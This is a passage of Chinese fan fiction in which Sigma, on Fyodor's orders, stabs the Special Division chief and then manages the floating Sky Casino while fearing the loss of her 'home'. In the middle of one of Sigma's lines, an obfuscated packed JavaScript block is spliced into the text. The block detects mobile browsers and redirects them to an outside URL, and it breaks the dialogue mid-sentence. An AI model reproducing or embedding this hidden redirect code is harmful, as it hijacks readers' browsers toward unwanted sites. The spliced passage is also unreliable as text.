那枚银戒在指间泛着冷光,她忽然想起果戈里说过的话——“我会解放你的”。 原来,所谓的解放,竟然是以这样的方式开场吗? 以他的死亡,作为这场闹剧的序章。 西格玛望着天边飞鸟渐远的身影,唇角勾起一抹极淡的、近乎自嘲的弧度。 她抬手,指尖轻轻触碰微凉的玻璃,像是在触碰一个遥不可及的梦。 真奇怪啊。 明明你在心灵和□□上都曾折磨过我,明明你和费奥多尔一样,都将我视作一枚无足轻重的棋子。 可我还是会因为你的死亡,感到这样浓重的、无处遁形的难过。 飞鸟的身影越来越小,就要在眼中消失。 西格玛想。 哪怕一会儿也好,就一会儿。 让我什么都不想,就这样静静地看着。 她的视线依旧追随着那抹远去的白色身影。 直到那点轮廓彻底融进澄澈的天际,变成一个几乎看不见的小点。 这份安静并没有持续太久,很快就被一阵急促的提示音打断。 西格玛收回目光,关上窗户,将冬日的寒冽隔绝在外。 她看向桌上亮起的电脑屏幕,那里躺着一份加密文件,标题是她等待了许久的任务指令。 西格玛知道,自己并没有多余的时间去思考那些复杂的情绪。 费奥多尔的棋局还在继续,容不得半分停歇。 而她等待已久的任务,终于要开始了。 指尖划过冰冷的屏幕,西格玛眼底的怅然与空茫彻底褪去,只剩下一片沉静的坚定。 她抬手,最后一次摩挲过指间的银戒,那抹冷白的银光映在粉色的瞳孔里,像一颗冰冷的星子。 窗外的雪又开始落下了,大片的雪花覆盖了屋顶与街道,天地间一片素白,像是一场无声的告别。 天空中的飞鸟振翅远去,渐渐消融在澄澈的天际,只留下一片空旷的蓝。 西格玛也将继续前行,在既定的路上,一步一步,走向未知的终点。 11. 天空赌场 时间在指尖无声地滑过,像沙漏里簌簌坠落的沙粒,快得让人抓不住。 那些看似平静的时光,终究不过是暴风雨前的假象。 终于,到了西格玛执行任务的日子。 西格玛的目标,是异能特务局局长,种田山头火。 地点定在一栋办公大楼,费奥多尔早已用精密的算计铺好了路,将这场“相见”安排得天衣无缝。 夜色浓稠得像化不开的墨,西格玛藏在大楼外的阴影里,掌心的冷汗浸透了刀柄。 冰冷的金属触感硌得她指尖发麻,心脏却在胸腔里疯狂跳动,几乎要撞碎肋骨。 费奥多尔的声音还在耳边回响,带着惯有的温淡,却字字淬着冰:“靠近他,用刀,然后——触碰他。” 西格玛攥着刀,一步步挪到回廊的拐角。 当种田长官的身影出现在视野里时,她甚至能听见自己牙齿打颤的声音。 哪怕她本心并不想伤害对方,她也必须这么做。 西格玛屏住呼吸,在对方擦肩而过的刹那,猛地冲了出去。 刀刃划破空气的声响很轻,刺入皮肉的触感却无比清晰,温热的液体溅到她的手背上,烫得她浑身一颤。 西格玛错开了致命伤,这是她唯一能做的。 种田长官闷哼一声,身体踉跄着前倾。 西格玛没有丝毫犹豫,几乎是凭着本能,伸手攥住了对方的手腕。 异能发动的瞬间,尖锐的痛感顺着指尖炸开,像有无数根针狠狠扎进脑海。 海量的信息疯狂涌入她的意识,杂乱的文件、隐秘的指令、还有关于“书”的碎片。 那些晦涩的、带着力量感的文字,像烙印般刻进她的记忆深处。 西格玛强忍着眩晕与恶心,死死咬住下唇,将那些关键的线索死死攥住,直到血腥味在口腔里弥漫开来。 她猛地松开手,转身就跑,刀刃从掌心滑落,在地上发出清脆的声响。 西格玛不敢回头,不敢去看身后的景象,只是拼了命地往前跑,雪粒打在脸上,冰凉刺骨,却压不住心底翻涌的恐惧与茫然。 她知道自己又一次沾了血,又一次成了费奥多尔手里的刀。 可她没有别的选择。 只要完成任务,就能得到天空赌城,就能拥有一个真正的家。 西格玛的手微微攥紧,指节泛出青白,指甲深深嵌进掌心。 她抬起头,看向窗外飘着雪的天空,眼底掠过一丝微弱的、近乎绝望的渴望。 那座赌城,是她唯一的光,哪怕那光的尽头,是万丈深渊。 —————— 在费奥多尔精密的布局里,齿轮咬合的声响无声无息,每一步都精准嵌合预设的轨迹,分毫不差。 天空赌场出现的那日,西格玛一整夜都没有合眼。 她枯坐在安全屋的窗边,指尖反复摩挲着那枚银戒,冰凉的金属触感抵着掌心,被手心的温度捂热,却焐不热翻涌的焦灼。 窗外的夜色从浓黑褪成鱼肚白,晨雾渐起,带着湿冷的水汽,一点点沾湿了窗棂,在玻璃上晕开朦胧的痕迹。 西格玛就这样那样睁着眼,望着天际,连睫毛都不敢颤动一下,生怕错过那一瞬间的降临。 胸腔里的心跳又急又重,一下下撞着肋骨,像是要破开皮肉,提前去触碰那份遥不可及的奢望。 终于,第一缕晨光刺破云层,漫过屋檐,落在她的发梢。 西格玛几乎是踉跄着站起身,踩着微凉的晨光推开门。 抬眼的刹那,呼吸便彻底凝滞在喉间,连心跳都漏了一拍。 天空之上,一座宏伟瑰丽的建筑正缓缓浮现。 鎏金的廊柱蜿蜒着撑起琉璃般的穹顶,在晨光中折射出璀璨的光泽,繁复的雕花缀满檐角,云雾缭绕其间,将整座建筑衬得缥缈又庄严,宛如悬浮于天际的梦幻城邦。 那是天空赌场。 是费奥多尔曾对她许下的,名为“家”的承诺。 西格玛怔怔地站在原地,脚下的青草沾着晶莹的晨露,濡湿了她的裤脚,凉意顺着脚踝漫上来,她却浑然不觉。 她的目光死死胶着在那座建筑上,像是要将它的每一寸轮廓,都刻进灵魂深处。 眼眶不受控制地泛起热意,温热的湿意迅速漫上眼底,模糊了视线里那座梦寐以求的建筑。 西格玛慌忙抬手去擦,指尖却触到一片滚烫的湿痕,才发现自己落了泪。 她曾无数次在深夜里描摹它的模样,而此刻,它就这么真实的出现在自己眼前。 指尖微微颤抖,心底积压的所有渴望、隐忍,还有那些不为人知的惶恐与不安,在这一刻尽数翻涌上来,化作汹涌的浪潮,几乎要将她淹没。 西格玛死死咬着下唇,才没让哽咽声溢出喉咙。 齿尖抵着柔软的唇瓣,渐渐尝到一丝淡淡的血腥味,却压不住胸腔里翻涌的酸涩,那酸涩里,还掺着一丝近乎卑微的狂喜。 她望着那座空中赌场,粉色的眼眸里盛着水光,亮得惊人。 那是漂泊者终于寻到归宿的泪光,是孤鸟终于觅得巢穴的震颤。 费奥多尔为西格玛准备好了这座天空赌场。 从今往后,她会是这里唯一的主人。 直至棋局终了。 —————— 天幕还浸在黎明前的浅灰里,天空赌场的穹顶就已经漫过了第一缕稀薄的晨光。 客房的软床陷着一道浅浅的凹陷,西格玛坐在床沿,指尖无意识地摩挲着棉质睡裙柔软的布料。 她只睡了两个小时。 不,或许连真正的睡眠都算不上,只是闭着眼睛,任由神经像绷紧的琴弦般震颤。 耳边仿佛已经响起了鼎沸的人声,指尖下的布料被攥出了深深的褶皱,心脏在胸腔里跳得又快又重,像是要撞碎那层单薄的皮肉。 今天是天空赌场正式营业的第一天。 世人皆知,这座悬浮于横滨上空的奢华赌场,自战后重建初期便矗立于此,距今已有十三个年头。 它见证过横滨经济的低谷与复苏,迎送过无数名流巨贾与亡命之徒,是赌徒们心驰神往的销金窟,更是横滨地界上一块响当当的金字招牌。 可只有西格玛自己清楚,这份沉甸甸的资历与荣耀,不过是“书”编织出的一场镜花水月。 虚假的,全都是虚假的。 她垂眸看着自己骨节分明的手,左手无名指上的戒指闪着银光,喉结轻轻滚动了一下。 但没关系。 她想,只要她还在这里,只要她还守着这片方寸之地,这些虚假就会一点点沉淀,一点点被镀上真实的光泽。 就像她自己,这个由“书”凭空捏造的存在,也终会找到属于自己的锚点。 西格玛起身走向衣帽间,指尖触到那件熨烫平整的白色燕尾西装时,指尖微微顿住。 料子是极上乘的羊绒,触手是近乎奢侈的绵软,指尖拂过时,能触到纹路凸起的细微触感,带着羊绒独有的、熨帖的温暖。 西格玛把它从衣架上拿下,冰凉的金属挂钩擦过她的手背,带起一阵细碎的战栗。 这件衣服的尺码是由费奥多尔亲自为她测量的。 脑海里猝然翻涌出那个俄罗斯的雪夜。 窗外的雪粒子砸在窗棂上,发出簌簌的轻响,壁炉里的木柴烧得正旺,噼啪声里溅起几点火星,落在炉壁上便转瞬即逝。 皮尺贴着西格玛的腰线收束,那勒紧的束缚感让她下意识绷紧了脊背。 直到那尺身从腰侧收回的瞬间,身侧忽然响起一声低笑。 费奥多尔的指尖漫不经心地拂过她肩头那件西装的布料雏形,指腹碾过布料的纹路,动作轻缓得像是在确认一件即将完工的藏品,带着不容错辨的审视意味。 “西格玛。” 他忽然开口,声音被暖烘烘的空气裹着,却依旧冷得像窗外砸落的雪粒,没有半分温度,“记住一件事。” 西格玛的脊背瞬间绷紧,垂在身侧的手指蜷缩起来,指腹轻轻蹭过掌心。 她能闻到他身上淡淡的雪松味,混着壁炉的烟火气,形成一种让人窒息的压迫感。 “如果‘猎犬’的人踏足这里——”费奥多尔的指尖慢慢移到她颈侧,指腹轻轻摩挲着细腻的皮肤,像是在丈量她脖颈的弧度,语气轻描淡写,却带着不容置疑的决绝,“不必犹豫,放弃这座赌场。” 西格玛猛地抬眼,睫毛上沾着的细碎热气遇冷,凝成了细小的水珠,顺着眼睑滑落。 她张了张嘴,喉咙里却像是堵着一团浸了水的棉花,发不出半点声音。 让她拥有家之后,再放弃自己的家,她怎么可能做得到…… ……怎么可能! 费奥多尔显然看穿了她翻涌的心思,指尖微微用力,迫使她仰起头,视线不得不与他对上。 他的眼底没有丝毫波澜,只有一片深不见底的冰湖,藏着算计与漠然,“棋子的价值,从来都在于它能为棋手换来什么,而不是它本身有多华美。” 他抬手,替她理了理额前被热气濡湿的碎发,指尖擦过她的额角,动作轻柔得像是在安抚一只受惊的幼兽。 “你才是最重要的。” 这句话说得极轻,像是情人间的呢喃,落在西格玛耳中,却让她的心脏狠狠一沉,坠进了冰窖里。 她比谁都清楚,自己从来不是什么例外。 她只是比那座赌场,更有用、更合他心意的一枚棋子。 壁炉的火光跳跃着,映在费奥多尔的侧脸,将他唇边的笑意衬得格外温柔,也格外残忍。 思绪到此停止。 西格玛拿起白色西装,转身走向书桌,银质相框里,两个孩子的笑脸像春日里最明媚的暖阳,晃得人眼睫发颤。 一岁六个半月的米哈伊尔有着头柔软的黑发,紫罗兰色的眼眸亮得惊人。被他轻轻靠着的娜塔莉娅才五个半月大,银白的胎发软绒绒的,翠绿色的眼睛像浸在晨露里的嫩叶,懵懂又纯粹。 她错过了他们成长的好多时候。 西格玛轻轻抚摸照片上两个孩子的脸颊。 她拿起相框旁的打印机,指尖在屏幕上轻轻一点,照片缓缓吐出,将那份鲜活的温暖定格成触手可及的具象。 西格玛捏着照片的边缘,指尖小心翼翼地避开孩子们的笑脸,低头,在两个孩子的额头上,分别落下一个轻吻。 接着,她从抽屉最深处摸出一张早已泛黄的车票。 那是她被“书”创造出来时,攥在手心的唯一物品,是她存在的最初证明,也是她漂泊无依的起点。 车票边缘已经被反复摩挲得发毛,上面模糊的字迹像是在诉说着一场无始无终的流浪。 西格玛抬手拢住衣领,将自己一寸寸裹进这件量身定做的桎梏里。 贴身的剪裁像是循着她骨骼的弧度而生,勾勒出纤细窈窕的身段,腰侧的线条被收得恰到好处,而胸前隆起的曼妙弧度,与冷冽干练的剪裁碰撞出别致的反差。 她将指尖探进西装内衬的暗袋,那位置正对着心脏跳动的地方,温暖而隐秘。 西格玛先将那张车票轻轻放进去,抚平褶皱,再把孩子们的照片叠在上面,指尖隔着布料轻轻按压了一下,像是要将这两样东西,连同自己的心跳,紧紧贴在一起。 指尖离开布料的瞬间,她仿佛能感受到车票粗糙的纹路与照片光滑的纸面,隔着羊绒面料,与心脏的搏动共振。 那是她的过往与念想,是她在这被设定的棋局里,唯一攥得住的真实。 西格玛站在全身镜前,一枚枚扣好西装的纽扣,又将领带打得一丝不苟。 镜中人的半白半紫长发格外惹眼,松松垂落在肩头,衬得面容愈发精致秀美,纤长的眼睫像蝶翼般轻垂,敛住了眼底的些许不安。 抬眸时,那双淡粉色的眼眸如粉水晶般澄澈,眉眼间漾着一股近乎易碎的柔和。 西格玛抬手,指尖抚过镜面上自己的倒影。 天空赌场和她,是同一种造物。是“书”的馈赠,也是“书”的囚笼。 这里的每一寸地毯,每一盏水晶灯,每一张赌桌,都是她的骨血,她的呼吸,是她漂泊以来,唯一能称得上“家”的地方。 而那张车票与照片,是她藏在心脏旁的秘密,而这里,将会是她唯一的家。 “我会守护好这里。” 西格玛对着镜中的自己低语,声音轻得像叹息,却带着一种近乎偏执的决绝,“我会把它经营得很好,哪怕……” 哪怕付出一切。 西格玛挺直脊背,镜中的少女褪去了往日的怯懦与茫然,眼底盛着细碎的光。 从今天起,她不再是那个无依无靠的、被“书”创造出来的幻影。 她是天空赌场的总经理,西格玛。 —————— 上午九点整,镌刻着繁复花纹的赌场大门,在一阵悠扬的钟声里缓缓敞开。 潮水般的客人涌了进来。 衣香鬓影,人声嘈杂,男人的雪茄味混着女人的香水味,贷币碰撞的清脆声响此起彼伏。 西格玛站在玄关处,一双擦得锃亮的白色皮鞋踩在光洁的大理石地面上,步履间透着无形的优雅。 她脸上挂着恰到好处的微笑,唇角弯起的角度分毫不差,既不显得过分热络,也不至于疏离冷淡,微微躬身,迎接每一位踏入赌场的客人。 “欢迎光临,先生。” “夫人这边请,荷官已经在等候了。” 西格玛的声音温和清冽,举止得体得挑不出一丝错处。 指节微屈,手腕轻抬,带着一种漫不经心的矜贵,仿佛脚下踩着的不是赌场光洁的大理石地面,而是执掌棋局的棋盘。 举手投足间,隐隐有了几分费奥多尔的影子。 那是一种深入骨髓的掌控感,哪怕不言不语,也能让人下意识地顺着她的指引行事。 或许连西格玛自己都没察觉到,当她抬手示意侍者引路时,指尖的弧度,都在无意识地模仿着那个男人。 骨节轻扣时的力度,垂眸时眼尾的弧度,甚至是应对难缠客人时,那份笑意未达眼底的疏离,都与他如出一辙。 那种从容不迫、仿佛一切尽在掌控的姿态。 西格玛有条不紊地处理着天空赌场的各项事宜。 她穿行在喧嚣的赌厅里,衣摆划过空气时带起一阵轻响,所过之处,原本嘈杂的争执声都会下意识地低下去几分。 没人敢在这位赌场主人面前放肆,更没人能忽视她周身那股温和却不容侵犯的气场。 西格玛一边惧怕着费奥多尔,一边又忍不住憧憬着他。 她惧怕他眼底那潭深不见底的寒潭,惧怕自己终究只是他手中一枚随时可以舍弃的棋子。 或许某一天,他就会轻飘飘地吐出一句决定,让她放弃这座她倾尽心血搭建的赌场。 可她又忍不住憧憬,憧憬那份翻手为云覆手为雨的从容,憧憬着能成为像他那样,永远站在棋局顶端、掌控一切的人。 所以西格玛下意识地模仿着费奥多尔。 她垂眸翻看账目时,笔尖划过纸页的力道轻重适宜,和他批阅文件时如出一辙。 遇到错漏处,只是轻轻一顿,眉峰微蹙的模样,像极了他审视计划漏洞时的神情,冷静又锐利。 连驳回不合规的申请时,语气里那点温和的冷意,都带着他独有的、裹着蜜糖的刀锋感。 明明语气温柔,笑意得体,却字字句句都透着不容置喙的决绝,让人无法反驳,也不敢反驳。 她听侍者汇报客情时,指尖会轻轻敲击桌面,节奏慢而规律。 那细碎的声响落在侍者耳中,比任何呵斥都更具威慑力,仿佛每一下都敲在人心上,让人不敢有半句隐瞒。 曾经的她,就像是此刻的侍者。 西格玛想,她要把一切都打理得井井有条。 筹码的流转要精准无误,每一笔入账都要清晰可查,不能有半分差池。 贵宾的需求要面面俱到,从酒水口味到房间朝向,都要妥帖安排,让他们感受到极致的礼遇。 暗处的势力要牢牢掌控,那些试图在赌场里兴风作浪的家伙,都要被悄无声息地清理干净,不能出一点纰漏。 她要让这里成为真正的、无可撼动的存在。 客人的面孔一张张掠过眼前,西格玛的瞳孔微微收缩,大脑像一台高速运转的精密仪器,将每一个细节都捕捉、归档。 穿黑色西装的中年男人,左眉骨有一道疤痕,手指关节粗大,是常年握枪的痕迹,喜好威士忌加冰,心脏不太好。 此刻他正死死盯着轮盘上的小球,指节因用力而泛白,当小球最终停在他押注的数字上时,他猛地一拳砸在赌桌上,浑浊的眼睛里迸发出狂喜的光,连带着呼吸都变得粗重,嘴角咧开一个近乎狰狞的弧度。 穿红色礼服的女人,耳垂上嵌着鸽血红宝石,眼角有细纹,偏爱轮盘赌,左手腕上的玉镯是清代的老物件。 她刚输了一把大额筹码,指尖漫不经心地摩挲着玉镯表面,红唇勾起一抹凉薄的笑,眼底没有半分懊恼,只是抬手示意侍者再添一杯香槟,姿态从容得仿佛输掉的不过是无关紧要的碎银。 梳着背头的青年,眼神飘忽,袖口藏着一枚微型骰子,是个出老千的惯手。 他刚靠小动作赢了一笔,正假意擦拭着指尖,眼角余光却警惕地扫视着四周,嘴角挂着得逞的窃喜,手指却在桌下悄悄将那枚微型骰子塞回袖口,动作快得几乎不留痕迹。 姓名、年龄、外貌特征、喜好、隐疾、甚至是不易察觉的小动作。 无数信息碎片涌入脑海,被分门别类,贴上标签,再编成一串又一串冰冷的数字。 001,疤面男,心功能三级,赌赢后情绪激动,需留意心血管突发风险。 002,红裙女,清代玉镯,轮盘赌爱好者,输局后情绪稳定,财力雄厚。 003,背头青年,出千惯手,微型骰子藏于左袖,已标记,待后续处理。 数字在她的意识里疯狂跳跃、叠加,从个位数飙升到两位数,再到三位数,数字持续增长。 太阳穴隐隐作痛,神经的负荷已经快要达到极限,可西格玛的脸上依旧挂着温和的笑意,躬身,引路,寒暄,没有半分疏漏。 赌场里的喧嚣像是一张密不透风的网,将她裹挟其中。 她路过一桌输得精光的客人,那人正瘫坐在椅子上,双手死死抓着头发,喉咙里发出压抑的呜咽,面前的筹码筐空空如也,那副颓败的模样,与周遭的狂热喧嚣格格不入。 与之形成鲜明对比的是,不远处的VIP包厢门口,一个西装革履的男人正搂着娇艳的女伴,意气风发地走出来。 他怀里抱着沉甸甸的、装满筹码的箱子,笑声张扬得刺耳,每一声都像是踩在失败者的心上。 偶尔有风从穹顶的缝隙掠过,掀起西格玛鬓角半白半紫的发丝,露出那张兼具柔美与锐利的脸庞。 独特的发色与气质,引得路过的客人忍不住频频侧目。 西格玛却像是毫无察觉,自己的形象也是赌场的一部分,如果能让客人赏心悦目,那是她的荣幸。 她的目光缓缓扫过整个赌场。 看着络绎不绝的客人,看着他们眼中对金钱与刺激的赤裸渴望。 看着水晶灯下流光溢彩的赌桌,看着那些因狂喜而扭曲的脸,因绝望而失神的眼,因贪婪而闪烁的眸光。 这些画面交织在一起,忽然让她生出一种荒诞的错觉。 那些冰冷的数字,那些繁杂的信息,那些客人的喜怒哀乐,都成了构筑“家”的砖瓦。 只要这些数字还在增加,只要这座赌场还人声鼎沸,只要这里还充斥着鲜活的、哪怕是扭曲的情绪,她就不是孤单一人。 西格玛微微扬起下巴,目光越过攒动的人头,望向赌场穹顶外的天空。 晨光正一点点漫上来,将那片虚假的、却又无比真实的天空,染成了温暖的金色。 —————— 白天的天空赌场,永远是霓虹流转、人声鼎沸的模样。 水晶灯折射出万千流光,落在光滑如镜的地面上,映着赌桌前此起彼伏的欢呼与叹息,筹码碰撞的清脆声响交织成一片浮华的乐章。 而西格玛就是这片喧嚣世界里,最从容的掌舵人。 她穿行在赌场的各个区域,一双锃亮的白色皮鞋踩在光洁的地面上,步履轻盈而优雅。 指尖偶尔轻拂过赌桌的边缘,淡粉色的眼眸像剔透的粉水晶,平静地扫过每一张面孔、每一处细节。 路过二十一点赌桌时,西格玛能精准指出荷官发牌时的细微偏差。 走到老虎机区域,又能轻声安抚输了钱的客人,几句温和的话语便抚平对方的焦躁。 她像一道从容的白色身影,穿梭在喧闹的人群中,将所有混乱都悄然纳入秩序的轨道,一举一动都透着掌控全局的笃定。 突发状况总是来得猝不及防。 三楼的VIP轮盘赌桌前,两名身着西装的客人因一笔巨额赌资的归属争执不休,其中一人猛地拍响了赌桌,筹码哗啦啦散落一地。 他攥紧拳头,眼神凶狠地盯着对方:“明明是我先押注的,你凭什么抢我的赢面!” 另一人也不甘示弱,伸手推了他一把:“赌桌讲的是规矩,你超时没确认,这注本来就该作废!” 眼看两人就要扭打在一起,周围的客人纷纷侧目,原本热闹的氛围瞬间凝固,空气中弥漫着剑拔弩张的紧张气息。 西格玛闻声赶来,衣摆随着步伐轻轻晃动,没有丝毫慌乱。 她走到赌桌旁,指尖轻轻搭在冰凉的桌沿,淡粉色的眼眸平静地扫过两人,语气是恰到好处的温柔,却带着不容置喙的力量:“两位先生,有什么问题可以交给我处理,赌场的规则从不允许争执扰了大家的雅兴。” 西格玛精通所有赌场游戏,对每一张赌桌的规则、每一种玩法的细节都了然于心,甚至能精准报出这两人今日的投注记录、过往的偏好与输赢走势。 “这位先生,您今天在轮盘桌的总投注额是三百万日元,偏好押注黑色数字,而刚才那局,您确实超时两秒未确认投注,按照赌场规则,这注视为无效。” 她条理清晰地指出纠纷的症结所在,随后又转向另一人,“而您,先生,在对方未确认前擅自加注,也违反了赌桌的秩序。” 一番话既点明了对错,又维护了赌场的规矩,同时给足了两位客人台阶。 末了,她亲自为两人重新安排了相邻的座位,吩咐侍者递上两杯冰镇香槟,笑着说道:“今日是赌场的幸运日,这两杯香槟算我的,希望两位能尽兴而归。” 几句温和的调解,便将一场剑拔弩张的风波消弭于无形,周围的客人见状,纷纷投来赞许的目光。 员工们远远看着,眼中满是敬佩。 在他们眼里,西格玛简直就是为赌场而生的女人,优雅又美丽,对待客人与员工永远带着恰到好处的温柔。 即便有新来的员工不慎打翻了筹码篮,各色筹码滚了一地,她也从不会责骂。 只是轻声叮嘱“下次小心些”,便弯腰亲自帮忙捡拾,指尖触碰筹码时的轻柔,仿佛在对待稀世珍宝。 路过走廊时看到玻璃上沾了一点细微的污渍,她甚至会抽出随身的白色手帕,踮起脚尖仔细擦拭干净,动作轻柔得像是在呵护一件易碎的艺术品。 这份从容与温柔的背后,是西格玛对这座赌场深入骨髓的热爱。 当西格玛走进专属的经理办公室,确认门已锁好、没有旁人后,才敢卸下所有伪装,露出那个脆弱又不安的自己。 她背靠着门板缓缓滑坐在地,半白半紫的长发散落下来,遮住了眼底的慌乱与疲惫。 纤长的手指紧紧攥着燕尾服的衣角,指节因为用力而泛出青白,声音带着不易察觉的颤抖:“好紧张……刚才的处理没有做错吧?没有让客人不高兴,也没有坏了赌场的规矩……” 她深吸一口气,指尖轻轻按在胸口,感受着心脏急促的跳动,在心里一遍遍给自己打气:“还得努力才行,不能让任何意外毁了这里。这里是我的家,是我唯一的归宿。” 白日的赌场里,轮盘的转动声、筹码的碰撞声、客人们的欢笑声与低语声交织成一片喧嚣。 西格玛穿梭在各个区域,从容应对着突发状况、调解纠纷、安抚情绪,每一刻都紧绷着神经,不敢有半分松懈。 直到夜色渐深,喧嚣才一点点褪去,像潮水般漫过赌场的每个角落,最终归于沉寂。 深夜的赌场终于沉寂下来,客人渐渐散去,员工们也已下班,整座建筑褪去了白日的浮华,只剩下一片静谧。 只有经理办公室的灯还亮着,暖黄的灯光透过百叶窗,在地面上投下斑驳的光影。 在天空赌场,不会见到果戈里,也不需要见到费奥多尔,是属于西格玛难得的宁静。 西格玛坐在书桌前,笔尖在纸上飞速滑动,将脑海中记下的客人信息一一书写记录。 从姓名、身份、联系方式,到投注习惯、偏好的饮品、甚至是不经意间提起的喜好,每一条都详尽细致,没有丝毫遗漏。 书桌上的纸张越堆越高,从桌角蔓延到桌面中央,她却一刻都没有停下。 半白半紫的长发垂落肩头,遮住了大半张脸,纤长的眼睫因疲惫而微微颤动,淡粉色的眼眸里却透着近乎执拗的认真。 西格玛牺牲睡眠时间,只为记下每一位客人的信息。 如今这个数字早已突破过万。 她右手紧握着钢笔,笔杆被指尖攥得微微发热,纤长的手指因为长时间保持一个姿势而泛出青白,却依旧稳稳地在纸上落下每一个字迹。 笔尖划过纸张的沙沙声,是深夜办公室里唯一的声响,与窗外的寂静形成鲜明的对比。 书桌上的纸张堆得像小山,密密麻麻的字迹工整而细致,从姓名、投注习惯到细碎的偏好,无一遗漏,每一笔都是她日夜操劳的证明。 西格玛半白半紫的长发垂落肩头,遮住了疲惫的眉眼,唯有淡粉色的眼眸亮得惊人,透着近乎执拗的坚定。 对她而言,这些信息不是冰冷的资料,而是她与这座赌场、与这个世界联结的证明。 记录的间隙,西格玛抬眸望向窗外,赌场的霓虹在夜色中隐约闪烁,像一簇簇温暖的星火。 笔尖顿了顿,她在心里默念,声音清晰而坚定:这里是我的家。 这座仅存在了八天的赌场,是西格玛被“书”创造出的三年人生里,唯一的归宿,是她存在的全部意义。 为了守护它,西格玛愿意耗尽所有的精力,将自己打磨成最完美的赌场支配者。 哪怕深夜独处时,只剩无尽的疲惫与自我怀疑,指尖的酸痛蔓延到手臂。 哪怕这份从容与优雅的背后,饱含着无尽的恐慌和担忧。 怕一场意外就打碎这来之不易的安稳,怕自己终究还是抓不住这唯一的“根”。 可只要想起赌场里的喧嚣、员工们敬佩的目光、客人们尽兴的笑容,只要在心里默念那句“这里是我的家”,西格玛便又握紧了钢笔。 指腹因用力而泛起薄红,笔尖再次在纸上流畅滑动,将所有的疲惫与不安,都化作了守护的力量。 她一遍遍在心底郑重起誓—— 这里是我的家,我一定,一定会好好守护这里。 —————— 又是赌场营业的一天。 清晨的第一缕阳光透过赌场顶层的落地窗洒进来,与水晶灯的流光交织在一起,落在光滑如镜的地面上,折射出细碎的光点。 西格玛早已换好一身剪裁得体的白色燕尾服,半白半紫的长发整齐的梳好,鬓角的发丝衬得她的侧脸愈发精致。 淡粉色的眼眸里带着一丝不易察觉的紧张,却依旧挺直脊背,稳稳推开了经理办公室的门,开启了一天的忙碌。 刚走出办公室没几步,一名员工就慌张地快步走来,脸上满是焦急:“经理!VIP轮盘赌桌前,两位客人因为赌资归属起争执了,场面快控制不住了!” 西格玛指尖轻按太阳穴,瞬间压下心底泛起的慌乱,语气从容而温和:“别急,我马上过去。你先让侍者给双方各上一杯冰镇香槟,稳住他们的情绪,记住,绝对不能让客人在赌场里失态,影响其他人的兴致。” 她快步赶到VIP区,几句条理清晰的调解便平息了风波,还巧妙地为两位客人保留了体面。 送他们重新落座后,刚才那名员工满眼敬佩地跟上:“经理,您刚才太厉害了,几句话就平息了风波,还没让客人丢面子!” 西格玛转身,唇角勾起一抹浅淡的笑,眼底的柔和溢了出来:“这是我该做的。赌场是给人带来快乐的地方,我们的职责就是守护好这份秩序。下次遇到类似的情况,记得先安抚情绪,再讲规则,慢慢来,你做得已经很好了。” 安抚好员工,西格玛沿着走廊巡视,刚走到老虎机区域,就听到一位客人不耐烦的抱怨声。 那人狠狠拍了拍机器,语气暴躁:“你们的老虎机也太坑了吧!我玩了一下午,一把都没中!这破地方我再也不来了!” 西格玛缓步走近,步伐优雅从容,淡粉色的眼眸里满是温和,没有丝毫不满:“先生实在抱歉,让您体验不佳了。不如我陪您换一台机器?这台是今天的幸运机,已经有三位客人中了大奖了,说不定下一个幸运儿就是您。” 客人半信半疑地挑眉:“真的?你可别骗我。” 西格玛笑着抬手示意侍者,语气笃定:“当然,我以天空赌场总经理的身份保证。侍者,给这位先生上一杯他最爱的威士忌加冰,多放两块冰。” 客人惊讶地睁大了眼:“你怎么知道我喜欢喝这个?我好像没跟你们说过吧?” 西格玛语气自然又亲切:“您是我们赌场的常客,您的偏好,我都记在心里。希望这台机器能给您带来好运,祝您玩得尽兴。” 刚安抚好这位客人,拿着报表的下属就快步走来,脸上带着几分急切:“经理,今日的客人数量已经突破五千了,远超预期,一楼大厅和二楼的赌桌都排起了队,各区域的人手都有些紧张。” 西格玛跟着他走到赌场的观景台,俯瞰着下方喧嚣的人群,指尖轻叩栏杆,眼神瞬间变得坚定而冷静:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193626|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调派VIP区域的两名侍者支援一楼大厅,再让后勤组的人临时加开三个二十一点赌桌,务必保证每位客人都能享受到周到的服务。另外,把今日上午的投注数据整理好,半小时后送到我办公室。” “好的,经理!我这就去安排!” 下属应声就要离开,西格玛又补充了一句,语气柔和了些,眉眼间染上暖意:“告诉大家,辛苦了,等客人散去,我请大家吃夜宵,想吃什么都可以。” 忙碌了一上午,处理完大大小小的事务,西格玛终于能抽出时间回到办公室。 她反手锁上门,紧绷的肩膀瞬间垮了下来,背靠着门板缓缓滑坐在地,半白半紫的长发散落下来,遮住了眼底的疲惫与慌乱。 纤长的手指紧紧攥着燕尾服的衣角,指节因为用力而泛出青白,声音带着不易察觉的颤抖:“刚才的处理……没有问题吧?客人看起来是满意的,员工也都按指令行动了……” 她深吸一口气,指尖轻轻按在胸口,感受着心脏急促的跳动,又忍不住自我怀疑:“可万一……万一我哪里做得不好,客人再也不来了怎么办?这座赌场,可是我唯一的家啊……” 沉默了片刻,西格玛抬手擦干眼角的湿意,重新整理好头发,站起身走到镜子前,看着镜中依旧从容优雅的自己,在心里给自己打气:“不行,西格玛,你不能慌。你是赌场的经理,必须冷静,必须完美,才能守护好这里,才能守住自己的归宿。” 平复好情绪,西格玛走到办公桌后坐下,指尖捏了捏酸胀的太阳穴,然后拿起桌上的陶瓷茶杯,杯壁还带着温热的触感。 她轻轻抿了一口温茶,苦涩的茶香在舌尖散开,又渐渐化作一丝回甘,让紧绷的神经稍稍放松下来。 西格玛抬眸望向窗外,赌场的霓虹在正午的阳光下依旧耀眼,喧嚣声透过厚重的门板隐约传来,筹码碰撞的清脆声响、客人的欢呼与低语,交织成一片熟悉的乐章。 她就这么静静地坐着,淡粉色的眼眸里褪去了往日的坚定与慌乱,只剩下一丝淡淡的疲惫与眷恋。 